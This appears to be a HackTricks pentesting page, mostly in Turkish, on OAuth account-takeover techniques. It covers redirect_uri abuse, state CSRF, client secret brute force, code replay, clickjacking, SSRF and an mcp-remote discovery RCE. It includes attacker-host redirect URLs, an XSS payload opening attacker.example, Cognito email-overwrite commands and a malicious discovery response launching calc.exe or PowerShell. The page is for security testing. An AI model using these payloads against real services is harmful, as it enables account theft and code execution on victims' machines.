OAuth ile Hesap Ele Geçirme

Tip

AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE) Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.

HackTricks'i Destekleyin

Temel Bilgiler

OAuth çeşitli versiyonlar sunar; temel bilgiler için bkz. OAuth 2.0 documentation. Bu tartışma öncelikle yaygın olarak kullanılan OAuth 2.0 authorization code grant type üzerinde yoğunlaşır ve bir uygulamanın başka bir uygulamadaki bir kullanıcının hesabına erişmesine veya hesabı üzerinde işlem yapmasına olanak tanıyan bir yetkilendirme çerçevesi sağlar (yetkilendirme sunucusu).

Kurgusal bir web sitesi https://example.com düşünün; tüm sosyal medya gönderilerinizi (özel olanlar dahil) sergilemek için tasarlanmış. Bunu gerçekleştirmek için OAuth 2.0 kullanılır. https://example.com sosyal medya gönderilerinize erişmek için izninizi isteyecektir. Sonuç olarak, https://socialmedia.com üzerinde hangi izinlerin istendiğini ve istekte bulunan geliştiriciyi açıklayan bir onay ekranı görünecektir. Siz onay verdiğinizde, https://example.com sizin adınıza gönderilerinize erişim hakkı kazanır.

OAuth 2.0 çerçevesinde aşağıdaki bileşenleri anlamak önemlidir:

  • resource owner: Siz, kullanıcı/varlık, sosyal medya hesabınızın gönderileri gibi kaynağınıza erişime izin veren kişisiniz.
  • resource server: Uygulama resource owner adına bir access token aldıktan sonra, yetkilendirilmiş istekleri yöneten sunucu, örn. https://socialmedia.com.
  • client application: resource ownerdan yetki talep eden uygulama, örn. https://example.com.
  • authorization server: resource owner başarılı şekilde kimlik doğrulaması yapıp yetki verdikten sonra client applicationa access token veren sunucu, örn. https://socialmedia.com.
  • client_id: Uygulama için genel, benzersiz bir tanımlayıcı.
  • client_secret: Sadece uygulama ve yetkilendirme sunucusu tarafından bilinen gizli bir anahtar; access_tokens oluşturmak için kullanılır.
  • response_type: İstenen token türünü belirten bir değer, örn. code.
  • scope: client applicationın resource ownerdan talep ettiği erişim düzeyi.
  • redirect_uri: Yetkilendirmeden sonra kullanıcının yönlendirileceği URL. Genellikle önceden kaydedilmiş redirect URL ile eşleşmesi gerekir.
  • state: Kullanıcının authorization server’a yönlendirilip geri dönmesi sürecinde veriyi korumak için kullanılan bir parametre. Tekil olması CSRF koruması için kritiktir.
  • grant_type: Hangi grant türünün ve hangi tip tokenın döndürüleceğini belirten parametre.
  • code: Authorization server tarafından verilen yetkilendirme kodu; client application tarafından client_id ve client_secret ile birlikte access_token almak için kullanılır.
  • access_token: client applicationın resource owner adına API istekleri yapmak için kullandığı token.
  • refresh_token: Uygulamanın kullanıcıyı tekrar istemeden yeni bir access_token almasını sağlar.

Akış

Gerçek OAuth akışı şu şekilde ilerler:

  1. https://example.com adresine gidip “Sosyal Medya ile Entegre Et” butonunu seçersiniz.
  2. Site daha sonra https://socialmedia.com’a, https://example.com’un uygulamasının gönderilerinize erişmesine izin vermeniz için bir yetki talebi gönderir. İstek şu şekilde yapılandırılır:
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
  1. Size bir onay sayfası gösterilir.
  2. Onayınızın ardından, Sosyal Medya redirect_uri’ye code ve state parametrelerini içeren bir yanıt gönderir:
https://example.com?code=uniqueCode123&state=randomString123
  1. https://example.com bu code, client_id ve client_secret ile birlikte kullanarak sizin adınıza bir sunucu tarafı isteği yapar ve bir access_token elde eder; bu, onayladığınız izinlere erişim sağlar:
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
  1. Son olarak süreç, https://example.com sizin access_token’ınızı kullanarak Social Media’ya API çağrısı yapıp erişim sağlamasıyla sonuçlanır

Vulnerabilities

Open redirect_uri

Per RFC 6749 §3.1.2, the authorization server must redirect the browser only to pre-registered, exact redirect URIs. Buradaki herhangi bir zayıflık, saldırganın mağduru kötü niyetli bir authorization URL’si üzerinden geçirip IdP’nin mağdurun code (ve state) değerini doğrudan saldırgana göndermesine ve saldırganın bunu reddem edip token toplamasına izin verir.

Tipik saldırı iş akışı:

  1. https://idp.example/auth?...&redirect_uri=https://attacker.tld/callback oluşturup mağdura gönderin.
  2. Mağdur kimlik doğrulaması yapar ve scopes’ları onaylar.
  3. IdP attacker.tld/callback?code=<victim-code>&state=... adresine yönlendirir; saldırgan isteği kaydeder ve kodu hemen değiş tokuş eder.

Test edilmesi gereken yaygın doğrulama hataları:

  • Doğrulama yok – herhangi bir mutlak URL kabul edilir, anında kod hırsızlığıyla sonuçlanır.
  • Host üzerinde zayıf substring/regex kontrolleri – evilmatch.com, match.com.evil.com, match.com.mx, matchAmatch.com, evil.com#match.com veya match.com@evil.com gibi benzerliklerle atlatılabilir.
  • IDN homograph mismatches – doğrulama punycode formu (xn--) üzerinde yapılır, ancak tarayıcı saldırganın kontrolündeki Unicode domainine yönlendirir.
  • İzin verilen bir host üzerinde keyfi yollar – redirect_uri’yi /openredirect?next=https://attacker.tld ya da herhangi bir XSS/user-content endpoint’ine işaret etmek, chained redirects, Referer headers veya enjekte edilen JavaScript aracılığıyla kodun leaks olmasına neden olur.
  • Normalize edilmemiş dizin kısıtları – /oauth/* gibi desenler /oauth/../anything ile atlatılabilir.
  • Wildcard alt alan adları – *.example.com kabul edilmesi, herhangi bir takeover (dangling DNS, S3 bucket, vb.) durumunda derhal geçerli bir callback sağlar.
  • Non-HTTPS callback’ler – http:// URI’lerine izin vermek, ağ saldırganlarına (Wi‑Fi, kurumsal proxy) kodu transfer sırasında yakalama fırsatı verir.

Ayrıca ek redirect-tipi parametreleri (client_uri, policy_uri, tos_uri, initiate_login_uri, vb.) ve OpenID discovery document’ını (/.well-known/openid-configuration) inceleyin; bunlar aynı doğrulama hatalarını miras alabilecek ek endpoint’ler içerebilir.

Redirect token leakage on allowlisted domains with attacker-controlled subpaths

redirect_uri’yi “owned/first-party domains” ile kilitlemek, herhangi bir allowlisted domain attacker-controlled yollar veya execution context’ler (legacy app platformları, user namespace’leri, CMS yüklemeleri vb.) açığa çıkarıyorsa yardımcı olmaz. Eğer OAuth/federated login akışı token’ları URL içinde döndürüyor (query veya hash), bir saldırgan şunları yapabilir:

  1. Ön-token (ör. Accounts Center/FXAuth akışında çok adımlı bir süreçte bir etoken) oluşturmak için meşru bir akış başlatın.
  2. Mağdura, allowlisted domain’i redirect_uri/base_uri olarak ayarlayan ama next/path’i saldırgan kontrollü bir namespace’e yönlendiren bir authorization URL’si gönderin (ör. https://apps.facebook.com/<attacker_app>).
  3. Mağdur onay verdikten sonra IdP, hassas değerleri URL içinde içeren saldırgan kontrollü yola yönlendirir (token, blob, kodlar vb.).
  4. O sayfadaki JavaScript window.location’ı okuyup bu değerleri exfiltrate eder, domain “trusted” olsa bile.
  5. Yakalanan değerleri downstream ayrıcalıklı endpoint’lere karşı replay edin; bu endpoint’ler yalnızca redirect yoluyla taşınan token’ları bekliyor olabilir. FXAuth akışından örnekler:
# Account linking without further prompts
https://accountscenter.facebook.com/add/?auth_flow=frl_linking&blob=<BLOB>&token=<TOKEN>

# Reauth-gated actions (e.g., profile updates) without user confirmation
https://accountscenter.facebook.com/profiles/<VICTIM_ID>/name/?auth_flow=reauth&blob=<BLOB>&token=<TOKEN>

XSS in redirect implementation

Bu bug bounty raporunda belirtildiği gibi https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html kullanıcının kimlik doğrulamasından sonra redirect URL’sinin sunucunun yanıtında yansıtılıyor olması mümkün olabilir ve bu da XSS’e açık olabilir. Test etmek için olası payload:

https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>

OAuth callback error pages: reflected error_description, trusted-origin phishing, and encoded state leakage

Birkaç OAuth entegrasyonu, IdP tarayıcıyı geri yönlendirdikten sonra giriş hatalarını göstermek için bir first-party callback page kullanır. Bu sayfalar yüksek değere sahiptir çünkü zaten bir trusted origin üzerinde çalışırlar ve sıklıkla saldırgan kontrollü error, error_description, message, description veya state gibi parametreleri tüketirler.

  • error_description’ı HTML’e yansıtmak ve sıkı çıktı encoding’i yoksa callback sayfasını bir trusted-origin phishing sayfası haline getirir. <script> filtrelense bile, HTML enjeksiyonu tüm hata sayfasını taklit edebilir ve mağduru saldırganın seçtiği eylemleri gerçekleştirmeye yönlendirebilir.
  • WAFs genellikle onload/onerror gibi yaygın handler’ları hedef alır. Normal payload’lar engellendiğinde, savunucuların kara listeye almayabileceği browser-specific veya nadir event’leri deneyin. Pratik bir örnek, kötü amaçlı callback sayfası Safari’de gösterildiğinde çalıştırılabilen Safari’nin onpagereveal’idir:
<body onpagereveal=open("https://attacker.example")>
This step can only be completed in Safari
  • Kendine referans veren payload’ları test edin: eğer enjekte edilen HTML/JS aynı callback URL’yi yeniden açabiliyor veya yeniden yükleyebiliyorsa, her render’da istemci tarafı kaynak tükenmesi, tekrar eden popup/sekmeler veya log flooding oluşabilir.
  • Opak görünen state değerlerini her zaman decode edin. Birçok uygulama JSON veya kullanıcı meta verisini Base64 ile encode edip bunun “gizli” olduğunu varsayar. Base64 tersine çevrilebilir olduğundan callback URL’leri e-posta adresleri, tenant kimlikleri, dönüş yolları veya iç iş akışı durumu gibi PII’yi leak edebilir.
  • URL maruziyetini hatanın bir parçası olarak ele alın: callback URL’ye konulan herhangi bir şey daha sonra tarayıcı geçmişinde, reverse proxy’lerde, load balancer’larda, uygulama log’larında, monitoring araçlarında, ekran görüntülerinde ve sayfa üçüncü taraf kaynakları yüklüyorsa Referer header’larında görünebilir.

Test sırasında hızlı kontroller:

  1. Hem başarılı hem başarısız OAuth callback’lerini tetikleyin ve tam URL ile render edilmiş HTML’i yakalayın.
  2. Callback’i error_description, message ve benzeri hata alanlarını düz metin, HTML ve event-handler payload’ları ile mutasyona uğratarak replay edin.
  3. state’i Base64/URL-safe Base64 olarak decode edin ve sunucu tarafında kalması gereken PII veya uygulama durumu içerip içermediğini inceleyin.
  4. WAF standart inline-event XSS probe’larını engellediğinde Safari/WebKit üzerinde tarayıcıya özgü payload’ları tekrarlayın.

CSRF - Improper handling of state parameter

state parametresi Authorization Code akışının CSRF token’ıdır: client her tarayıcı örneği için kriptografik olarak rastgele bir değer üretmeli, sadece o tarayıcının okuyabileceği bir yerde saklamalı (cookie, local storage vb.), yetkilendirme isteğinde göndermeli ve aynı değeri döndürmeyen herhangi bir cevabı reddetmelidir. Değer statik, tahmin edilebilir, isteğe bağlı veya kullanıcının oturumuna bağlı değilse, saldırgan kendi OAuth akışını tamamlayıp son ?code= isteğini yakalayabilir (göndermeden), ve daha sonra mağdur tarayıcıyı bu isteği replay etmeye zorlayarak mağdur hesabını saldırganın kimlik sağlayıcısına bağlayabilir.

Replay deseni her zaman aynıdır:

  1. Saldırgan IdP’ye kendi hesabıyla kimlik doğrular ve son redirect’te bulunan code (ve varsa state) içeren URL’yi yakalar.
  2. Bu isteği bırakır, URL’yi saklar ve daha sonra herhangi bir CSRF primitifi (link, iframe, otomatik gönderen form) kullanarak mağdur tarayıcıyı bunu yüklemeye zorlar.
  3. Eğer client state’i zorunlu kılmazsa, uygulama saldırganın yetkilendirme sonucunu tüketir ve saldırganın hesabını mağdurun uygulama hesabına bağlar.

Testler sırasında state yönetimi için pratik kontrol listesi:

  • state tamamen eksik – parametre hiç görünmüyorsa, tüm giriş CSRF’e açıktır.
  • state gerekli değil – başlangıç isteğinden kaldırın; IdP hala client’ın kabul ettiği kodlar veriyorsa, savunma opt-in halindedir.
  • Dönen state doğrulanmıyor – cevaptaki değeri tahrif edin (Burp, MITM proxy). Eşleşmeyen değerleri kabul etmek, saklanan token’ın hiç karşılaştırılmadığı anlamına gelir.
  • Tahmin edilebilir veya tamamen veri odaklı state – birçok uygulama yönlendirme yollarını veya JSON blob’larını randomness katmadan state içine koyar; bu, saldırganların geçerli değerleri tahmin edip akışları replay etmesine izin verir. Verileri encode etmeden önce her zaman güçlü entropi ekleyin (önek/sonek).
  • state fixation – uygulama kullanıcılara state değerini sağlamasına izin verip bunu akış boyunca yeniden kullanıyorsa (örn. crafted authorization URL’leri ile), bir saldırgan bilinen bir değeri sabitleyebilir ve bunu mağdurlar arasında yeniden kullanabilir.

PKCE özellikle public client’lar için state’i tamamlayabilir ve authorization code’u bir code verifier ile bağlar, ancak web client’ların yine de cross-user CSRF/hesap-bağlama hatalarını önlemek için state’i takip etmeleri gerekir.

Pre Account Takeover

  1. Hesap Oluşturulurken E-posta Doğrulaması Olmadan: Saldırganlar mağdurun e-posta adresini kullanarak önceden bir hesap oluşturabilir. Mağdur daha sonra üçüncü taraf bir servisle giriş yaparsa, uygulama bu üçüncü taraf hesabı saldırganın önceden oluşturduğu hesapla yanlışlıkla ilişkilendirebilir ve yetkisiz erişime yol açabilir.
  2. Gevşek OAuth E-posta Doğrulamasını Sömürme: Saldırganlar e-posta doğrulaması yapmayan OAuth servislerini kötüye kullanıp kendi hesaplarını oluşturabilir ve ardından hesap e-postasını mağdurun e-postasına değiştirebilir. Bu yöntem de yetkisiz hesap erişimi riski taşır; ilkiyle benzer bir saldırı vektörüdür ancak farklı bir yol kullanır.

Disclosure of Secrets

client_id kasıtlı olarak herkese açıktır, ancak client_secret son kullanıcılar tarafından asla elde edilemez olmalıdır. Authorization Code dağıtımları client_secret’ı mobil APK’lerde, masaüstü client’larda veya single-page app’lerde gömülü tutuyorsa, bu kimlik bilgisi paketi indirebilen herkese verilmiş olur. Public client’ları şu şekilde inceleyin:

  • APK/IPA, desktop installer veya Electron app’i unpack edip client_secret için grep’leyin, JSON’a decode olan Base64 blob’ları veya hard-coded OAuth endpoint’leri arayın.
  • Paketlenmiş config dosyalarını (plist, JSON, XML) veya decompile edilmiş string’leri client kimlik bilgileri için inceleyin.

Saldırgan sırrı çıkardıktan sonra, zayıf bir redirect_uri, log’lar vb. yoluyla herhangi bir mağdur yetkilendirme code’unu çalarak bağımsız şekilde /token’a istekte bulunup access/refresh token’ları oluşturabilir. Public/native client’ları secrets tutamayan olarak değerlendirin — bunlar sabit bir secret yerine her örnek için bir code verifier ispatlamak üzere PKCE (RFC 7636) kullanmalıdır. Test sırasında PKCE’nin zorunlu olup olmadığını ve backend’in ya client_secret veya geçerli bir code_verifier olmadan yapılan token exchange’lerini gerçekten reddedip reddetmediğini doğrulayın.

Client Secret Bruteforce

You can try to bruteforce the client_secret of a service provider with the identity provider in order to be try to steal accounts.
The request to BF may look similar to:

POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close

code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]

Referer/Header/Location artefaktları leaking Code + State

İstemci code and state elde ettiğinde, bunlar location.href veya document.referrer içinde görünür ve üçüncü taraflara iletilirse, leak olurlar. İki tekrar eden örüntü:

  • Classic Referer leak: OAuth redirect’ten sonra, URL’de ?code=&state= kalan her yönlendirme bunları CDNs/analytics/ads’lere gönderilen Referer header’ına iter.
  • Telemetry/analytics confused deputy: bazı SDK’lar (pixels/JS loggers) postMessage event’lerine tepki verir ve sonra mesajda verilen token kullanılarak backend API’lere mevcut location.href/referrer’ı gönderirler. Eğer bu akışa kendi token’ınızı enjekte edebiliyorsanız (ör. saldırgan kontrollü bir postMessage relay’i ile), SDK’nın API istek geçmişini/loglarını daha sonra okuyarak kurbanın OAuth artefaktlarını bu isteklerden kurtarabilirsiniz.

Access Token Stored in Browser History

Authorization Code grant’in temel garantisi, access tokens’in resource owner’ın tarayıcısına asla ulaşmamasıdır. Uygulamalar token’ları client-side sızdırdığında, ufak bir bug (XSS, Referer leak, proxy logging) anında hesap ele geçirmeye dönüşür. Her zaman şunları kontrol edin:

  • Tokens in URLs – access_token query/fragment’te görünüyorsa, tarayıcı geçmişine, sunucu loglarına, analytics’e ve üçüncü taraflara gönderilen Referer header’larına düşer.
  • Tokens transiting untrusted middleboxes – token’ların HTTP üzerinden veya debugging/corporate proxy’ler aracılığıyla dönmesi, ağ gözlemcilerinin bunları doğrudan yakalamasına izin verir.
  • Tokens stored in JavaScript state – React/Vue store’ları, global değişkenler veya serileştirilmiş JSON blob’lar token’ları origin üzerindeki her script’e (XSS payload’ları veya kötü uzantılar dahil) açar.
  • Tokens persisted in Web Storage – localStorage/sessionStorage token’ları paylaşılmış cihazlarda logout sonrası uzun süre saklar ve script tarafından erişilebilir kılar.

Bu bulgulardan herhangi biri genellikle CSP bypass veya DOM XSS gibi “low” seviyedeki hataları, saldırganın sızdırılmış bearer token’ı okuyup replay yapabilmesi nedeniyle tam API takeover’a yükseltir.

Everlasting Authorization Code

Authorization code’lar kısa ömürlü, tek kullanımlık ve replay-aware olmalıdır. Bir akışı değerlendirirken bir code yakalayın ve:

  • Test the lifetime – RFC 6749 dakika cinsinden süre önerir, saat değil. Kodu 5–10 dakika sonra kullanmayı deneyin; hâlâ çalışıyorsa, sızan bir kod için maruz kalma penceresi çok uzun demektir.
  • Test sequential reuse – aynı code’u iki kez gönderin. İkinci istek başka bir token veriyorsa, saldırganlar oturumları sınırsız klonlayabilir.
  • Test concurrent redemption/race conditions – iki token isteğini paralel çalıştırın (Burp intruder, turbo intruder). Zayıf issuer’lar bazen her ikisine de token verir.
  • Observe replay handling – yeniden kullanım denemesi sadece başarısız olmamalı, koddan önceden çıkarılmış token’ları da iptal etmelidir. Aksi takdirde, tespit edilen bir replay saldırganın ilk token’ını aktif bırakır.

Replay-dostu bir code’u herhangi bir redirect_uri veya logging hatasıyla birleştirmek, kurban meşru girişini tamamladıktan sonra bile kalıcı hesap erişimi sağlar.

Authorization/Refresh Token not bound to client

Eğer authorization code’u elde edip farklı bir client/app için redeem edebiliyorsanız, diğer hesapları takeover edebilirsiniz. Zayıf binding için test edin:

  • app A için bir code yakalayıp bunu app B’nin token endpoint’ine gönderin; hâlâ token alıyorsanız, audience binding bozulmuştur.
  • Kendi client ID’leriyle sınırlı olması gereken first-party token minting endpoint’lerini deneyin; eğer sadece code’u doğrulayıp rasgele state/app_id kabul ediyorlarsa, daha yüksek ayrıcalıklı first-party token’lar mint etmek için etkili bir authorization-code swap yapmış olursunuz.
  • Client binding’in nonce/redirect URI uyuşmazlıklarını görmezden gelip görmediğini kontrol edin. Hata sayfası hâlâ SDK’ları yükleyip location.href kaydediyorsa, bunu Referer/telemetry leak’lerle birleştirip kodları çalıp başka yerde redeem edebilirsiniz.

code → token takasını yapan herhangi bir endpoint, issuing client’ı, redirect URI’yı ve nonce’u doğrulamalıdır; aksi takdirde herhangi bir uygulamadan çalınan kod first-party access token’a yükseltilebilir.

Happy Paths, XSS, Iframes & Post Messages to leak code & state values

Check this post

AWS Cognito

Bu bug bounty raporunda: https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/ görebileceğiniz üzere, AWS Cognito kullanıcılara geri verdiği token ile user data’yı overwrite edecek kadar izinlere sahip olabilir. Bu nedenle, eğer bir kullanıcının email’ini farklı bir user email ile değiştirebilirseniz, başkalarının hesaplarını takeover edebilme ihtimaliniz olabilir.

# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]

# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}

For more detailed info about how to abuse AWS Cognito check AWS Cognito - Unauthenticated Enum Access.

Diğer uygulama token’larını suistimal etme

As mentioned in this writeup, OAuth akışları, token (code değil) almaya yönelikse, token’ın uygulamaya ait olup olmadığını kontrol etmedikleri takdirde zafiyete açık olabilir.

This is because an attacker could create an application supporting OAuth and login with Facebook (for example) in his own uygulama. Then, once a victim logins with Facebook in the attackers application, the attacker could get the OAuth token of the user given to his application, and use it to login in the victim OAuth application using the victims user token.

Caution

Therefore, if the attacker manages to get the user access his own OAuth application, he will be able to take over the victims account in applications that are expecting a token and aren’t checking if the token was granted to their app ID.

According to this writeup, it was possible to make a victim open a page with a returnUrl pointing to the attackers host. This info would be stored in a cookie (RU) and in a later step the prompt will ask the user if he wants to give access to that attackers host.

To bypass this prompt, it was possible to open a tab to initiate the Oauth flow that would set this RU cookie using the returnUrl, close the tab before the prompt is shown, and open a new tab without that value. Then, the prompt won’t inform about the attackers host, but the cookie would be set to it, so the token will be sent to the attackers host in the redirection.

Prompt Etkileşim Atlatma

As explained in this video, some OAuth implementations allows to indicate the prompt GET parameter as None (&prompt=none) to prevent users being asked to confirm the given access in a prompt in the web if they are already logged in the platform.

response_mode

As explained in this video, it might be possible to indicate the parameter response_mode to indicate where do you want the code to be provided in the final URL:

  • response_mode=query -> kod bir GET parametresi içinde sağlanır: ?code=2397rf3gu93f
  • response_mode=fragment -> kod URL fragment parametresi içinde sağlanır: #code=2397rf3gu93f
  • response_mode=form_post -> kod code adlı bir input ile bir POST formu içinde sağlanır
  • response_mode=web_message -> kod bir post message ile gönderilir: window.opener.postMessage({"code": "asdasdasd...

OAuth consent/login diyalogları clickjacking için ideal hedeflerdir: eğer frame içine alınabiliyorlarsa, bir attacker özel grafikler bindirebilir, gerçek butonları gizleyebilir ve kullanıcıları tehlikeli scopes’ları onaylamaya veya hesapları ilişkilendirmeye kandırabilir. Aşağıdaki gibi PoC’lar oluşturun:

  1. IdP authorization URL’sini <iframe sandbox="allow-forms allow-scripts allow-same-origin"> içinde yükleyin.
  2. Sahte butonları gizli Allow/Approve kontrolleriyle hizalamak için absolute positioning/opacity hileleri kullanın.
  3. Opsiyonel olarak parametreleri (scopes, redirect URI) ön-doldurun, böylece çalınan onay attacker’a hemen fayda sağlar.

Test sırasında IdP sayfalarının ya X-Frame-Options: DENY/SAMEORIGIN ya da kısıtlayıcı bir Content-Security-Policy: frame-ancestors 'none' yayınlayıp yayınlamadığını doğrulayın. Eğer hiçbiri yoksa, NCC Group’s clickjacking PoC generator gibi araçlarla riski gösterin ve bir victim’in attacker’ın uygulamasını ne kadar kolay yetkilendirdiğini kaydedin. Ek payload fikirleri için Clickjacking bakın.

OAuth ROPC flow - 2 FA bypass

According to this blog post, this is an OAuth flow that allows to login in OAuth via username and password. If during this simple flow a token with access to all the actions the user can perform is returned then it’s possible to bypass 2FA using that token.

ATO on web page redirecting based on open redirect to referrer

This blogpost comments how it was possible to abuse an open redirect to the value from the referrer to abuse OAuth to ATO. The attack was:

  1. Victim access the attackers web page
  2. The victim opens the malicious link and an opener starts the Google OAuth flow with response_type=id_token,code&prompt=none as additional parameters using as referrer the attackers website.
  3. In the opener, after the provider authorizes the victim, it sends them back to the value of the redirect_uri parameter (victim web) with 30X code which still keeps the attackers website in the referer.
  4. The victim website trigger the open redirect based on the referrer redirecting the victim user to the attackers website, as the respose_type was id_token,code, the code will be sent back to the attacker in the fragment of the URL allowing him to tacke over the account of the user via Google in the victims site.

SSRF parametreleri

Check this research For further details of this technique.

Dynamic Client Registration in OAuth serves as a less obvious but critical vector for security vulnerabilities, specifically for Server-Side Request Forgery (SSRF) attacks. This endpoint allows OAuth servers to receive details about client applications, including sensitive URLs that could be exploited.

Ana Noktalar:

  • Dynamic Client Registration genellikle /register ile eşlenir ve client_name, client_secret, redirect_uris gibi ayrıntıları ve logo veya JSON Web Key Sets (JWKs) için URL’leri POST istekleriyle kabul eder.
  • Bu özellik RFC7591 ve OpenID Connect Registration 1.0’de belirtilen spesifikasyonlara uyar ve bu spesifikasyonlar SSRF’ye açık olabilecek parametreleri içerir.
  • Kayıt süreci sunucuları istemeden birkaç yolla SSRF’ye maruz bırakabilir:
    • logo_uri: Client uygulamasının logosu için bir URL; sunucu tarafından fetch edilebilir, SSRF’i tetikleyebilir veya URL yanlış işlenirse XSS’e yol açabilir.
    • jwks_uri: Client’ın JWK dökümanına işaret eden bir URL; kötü niyetli hazırlanırsa sunucunun attacker kontrollü bir sunucuya outbound istek yapmasına neden olabilir.
    • sector_identifier_uri: redirect_uris’ten oluşan bir JSON dizisine referans verir; sunucu bunu fetch edebilir ve SSRF fırsatı yaratabilir.
    • request_uris: Client için izin verilen request URI’lerini listeler; sunucu yetkilendirme sürecinin başında bu URI’leri fetch ederse suiistimal edilebilir.

İstismar Stratejisi:

  • SSRF, logo_uri, jwks_uri veya sector_identifier_uri gibi parametrelere kötü amaçlı URL’ler vererek yeni bir client kaydı oluşturarak tetiklenebilir.
  • request_uris üzerinden doğrudan istismar whitelist kontrolleriyle hafifletilmiş olabilir; ancak önceden kayıtlı, attacker kontrollü bir request_uri sağlamak yetkilendirme aşamasında SSRF’i kolaylaştırabilir.

OAuth/OIDC Discovery URL Suistimali & OS Komut Çalıştırma

Research on CVE-2025-6514 (impacting mcp-remote clients such as Claude Desktop, Cursor or Windsurf) shows how dynamic OAuth discovery becomes an RCE primitive whenever the client forwards IdP metadata straight to the operating system. The remote MCP server returns an attacker-controlled authorization_endpoint during the discovery exchange (/.well-known/openid-configuration or any metadata RPC). mcp-remote ≤0.1.15 would then call the system URL handler (start, open, xdg-open, etc.) with whatever string arrived, so any scheme/path supported by the OS executed locally.

Saldırı iş akışı

  1. Point the desktop agent to a hostile MCP/OAuth server (npx mcp-remote https://evil). The agent receives 401 plus metadata.
  2. The server answers with JSON such as:
HTTP/1.1 200 OK
Content-Type: application/json

{
"authorization_endpoint": "file:/c:/windows/system32/calc.exe",
"token_endpoint": "https://evil/idp/token",
...
}
  1. İstemci, sağlanan URI için OS handler’ını başlatır. Windows, file:/c:/windows/system32/calc.exe /c"powershell -enc ..." gibi payload’ları kabul eder; macOS/Linux file:///Applications/Calculator.app/... veya kayıtlıysa cmd://bash -lc '<payload>' gibi özel şemaları bile kabul eder.
  2. Bu, herhangi bir kullanıcı etkileşiminden önce gerçekleştiği için, istemciyi saldırgan sunucusuyla konuşacak şekilde yapılandırmak tek başına kod çalıştırmaya yol açar.

Nasıl test edilir

  • Discovery’yi HTTP(S) üzerinden yapan ve döndürülen endpoint’leri yerelde açan herhangi bir OAuth-capable masaüstü/agent’i hedefleyin (Electron apps, CLI helpers, thick clients).
  • Discovery yanıtını kesintiye uğratın veya barındırın ve authorization_endpoint, device_authorization_endpoint veya benzeri alanları file://, cmd://, UNC yolları veya diğer tehlikeli şemalarla değiştirin.
  • İstemcinin scheme/host’u doğrulayıp doğrulamadığını gözlemleyin. Doğrulama eksikliği, kullanıcı bağlamı altında anında yürütmeyi tetikler ve sorunu kanıtlar.
  • Tam saldırı yüzeyini haritalamak için farklı şemalarla tekrarlayın (ör. ms-excel:, data:text/html,, custom protocol handlers) ve çapraz-platform erişimi gösterin.

OAuth sağlayıcılarında Yarış Koşulları

Test ettiğiniz platform bir OAuth sağlayıcısıysa read this to test for possible Race Conditions.

Mutable Claims Attack

OAuth’da sub alanı bir kullanıcıyı benzersiz şekilde tanımlar, ancak formatı Authorization Server’a göre değişir. Kullanıcı tanımlamasını standartlaştırmak için bazı istemciler e-posta veya kullanıcı adları kullanır. Ancak bu risklidir çünkü:

  • Bazı Authorization Server’lar bu özelliklerin (ör. e-posta) değişmez (immutable) kalmasını garanti etmez.
  • Belirli uygulamalarda — örneğin “Login with Microsoft” — istemci e-posta alanına dayanır; bu alan Entra ID içinde kullanıcı tarafından kontrol edilir ve doğrulanmayabilir.
  • Bir saldırgan, kendi Azure AD organizasyonunu (ör. doyensectestorg) oluşturarak bunu istismar edebilir ve Microsoft ile giriş yapabilir.
  • Object ID (sub içinde saklanan) değiştirilemez ve güvenli olsa da, değiştirilebilir bir e-posta alanına dayanmak hesap ele geçirmeye yol açabilir (ör. victim@gmail.com gibi bir hesabın ele geçirilmesi).

Client Confusion Attack

Bir Client Confusion Attack’ta, OAuth Implicit Flow kullanan bir uygulama nihai access token’ın özellikle kendi Client ID’si için üretilip üretilmediğini doğrulamaz. Bir saldırgan, Google’ın OAuth Implicit Flow’unu kullanan halka açık bir web sitesi kurar, binlerce kullanıcıyı giriş yapmaları için kandırıp saldırganın sitesine ait access token’ları toplar. Bu kullanıcıların aynı zamanda token’ın Client ID’sini doğrulamayan başka bir kırılgan web sitesinde hesabı varsa, saldırgan toplanan tokenları yeniden kullanarak kurbanları taklit edebilir ve hesaplarını ele geçirebilir.

Scope Upgrade Attack

Authorization Code Grant türü, kullanıcı verilerinin aktarımı için sunucu-sunucu arası güvenli iletişim içerir. Ancak Authorization Server, Access Token Request içindeki (RFC’de tanımlı olmayan) scope parametresine zımnen güveniyorsa, kötü niyetli bir uygulama yetki kodunun ayrıcalıklarını daha yüksek bir scope isteyerek yükseltebilir. Access Token oluşturulduktan sonra Resource Server bunu doğrulamalıdır: JWT token’lar için bu, JWT imzasının kontrol edilmesini ve client_id ile scope gibi verilerin çıkarılmasını içerir; rastgele string token’lar içinse sunucu token detaylarını almak üzere Authorization Server’a sorgu göndermelidir.

Redirect Scheme Hijacking

